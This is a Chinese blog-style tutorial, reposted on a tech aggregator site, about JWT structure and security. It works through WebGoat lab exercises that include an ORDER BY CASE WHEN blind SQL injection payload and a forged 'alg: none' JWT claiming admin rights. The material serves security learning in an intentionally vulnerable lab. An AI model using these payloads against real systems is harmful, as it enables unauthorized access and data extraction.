IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> JWT安全 -> 正文阅读

[网络协议]JWT安全

在这里插入图片描述

检测方法

只有服务器没有检测的情况才能攻击成功(CTF会有,现实几乎没有,什么人写代码会不进行服务器验证呢)
查看数据包有没有Authorization类型(它用来发送jwt)
查看数据包格式是不是JWT格式

起源

说起JWT,我们应该来谈一谈基于token的认证和传统的session认证的区别。

传统的session认证

我们知道,http协议本身是一种无状态的协议,而这就意味着如果用户向我们的应用提供了用户名和密码来进行用户认证,那么下一次请求时,用户还要再一次进行用户认证才行,因为根据http协议,我们并不能知道是哪个用户发出的请求,所以为了让我们的应用能识别是哪个用户发出的请求,我们只能在服务器存储一份用户登录的信息,这份登录信息会在响应时传递给浏览器,告诉其保存为cookie,以便下次请求时发送给我们的应用,这样我们的应用就能识别请求来自哪个用户了,这就是传统的基于session认证。
Session: 每个用户经过我们的应用认证之后,我们的应用都要在服务端做一次记录,以方便用户下次请求的鉴别,通常而言session都是保存在内存中,而随着认证用户的增多,服务端的开销会明显增大,因此出现了JWT。

JWT(Json web token)(JSON Web令牌)

Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准((RFC 7519).该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。

JWT由三个部分组成
头部(header)
(base64加密,里面存在签证的加密方法,但是没有密钥)

 {
 "姓名": "张三",
 "角色": "管理员",
 "到期时间": "2018年7月1日0点0分"  //时间戳,有时候有
 }

载荷(payload)
(base64加密)
签证(signature)
(头部保存的加密方法加密,加密解密都需要密钥,服务器才有密钥)(里面是将头部和载荷进行了加密,通过服务器将其解密,对比来保证安全)
因url编码会将base64最后的两个等号进行编码所以若存在==的话需要将其删除
样子为

头部.载荷.签证
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
在这里插入图片描述

传输方式

在这里插入图片描述

实例

复习一下SQL注入类

SQL注入类,需要复习一些知识,防火SQL注入的方式之一就是添加session,一般情况下session用户是无法修改的
Java语言中PreparedStatement用来预编译SQL语句,所以如果直接输入SQL语句进行注入是无法成功的,原因:PreparedStatement预编译后,所有输入的内容都会被当作对象,不会被执行

String query = "SELECT * FROM users WHERE last_name = ?";
PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1,accountNmae);
ResultSet results = statement.executeQuery();

不过这也仅仅添加防御,完全防御,在SQL语句中存在order by 的语句时就可以用来利用,通过使用case when语句可以将order by后的orderExpression表达式中添加select语句。
它会认为orderExpression内的语句是另一个需要执行的SQL语句

WEBGOAT sql注入

安装方法:docker pull webgoat/webgoat-8.0
打开:sudo docker run -d -p 8080:8080 webgoat/webgoat-8.0:latest
最后127.0.0.1:8080/WebGoat/login

打开位置
在这里插入图片描述

点击主机名进行抓包,在这里发现了get请求的column=hostname
在这里插入图片描述
在后面输入’ " 等等都不会报错,所有尝试case when类型=号后改为
(case%20when%20(false)%20then%20hostname%20else%20id%20end%20)
它显示了,有漏
先看正常语句

SELECT * FROM users ORDER BY (CASE WHEN (TRUE) THEN lastname ELSE firstname else id end)

报错信息里面有信息不要忘(hostname)
select id, hostname, ip, mac, status, description from servers where status <> ‘out of order’ order by (case when (false) then hostname]
这里应该就是代码的语句,接着

编写payload
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,1,1) from servers where hostname=‘webgoat-prd’)=1) then hostname else id end)
column=
(case%20when%20((select%20substring(ip,1,1)%20from%20servers%20where%20hostname=‘webgoat-prd’)=1)%20then%20hostname%20else%20id%20end)

IP就会出现了
过关手册:https://blog.csdn.net/u013553529/article/details/82765062

JWT安全

在这里插入图片描述
怎么下载打开我就不说了,跟上面一样
这是让投票,获取到管理员身份,
那就更换一下用户进行抓包,内容如下
在这里插入图片描述
看到Cookie的内容类型与JWT类型一样,那就解码吧,结果如下
在这里插入图片描述
看到这里,想法:改加密类型为none,时间戳为将来user改admin签证为空
试试看(前面两个加密类型为base64)

{
  "alg": "none"
}
加密后
ewogICJhbGciOiAibm9uZSIKfQ==
{
  "iat": 1651845541,
  "admin": "true",
  "user": "admin"
}
加密后
ewogICJpYXQiOiAxNjUxODQ1NTQxLAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJhZG1pbiIKfQ==

整合(==要去掉,不然会被编码)

ewogICJhbGciOiAibm9uZSIKfQ.ewogICJpYXQiOiAxNjUxODQ1NTQxLAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJhZG1pbiIKfQ.

接下来不知道为什么出错了,可能环境版本不对
基础内容上面已经全部说了

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-04-30 09:03:26  更:2022-04-30 09:04:34 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/26 2:56:02-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码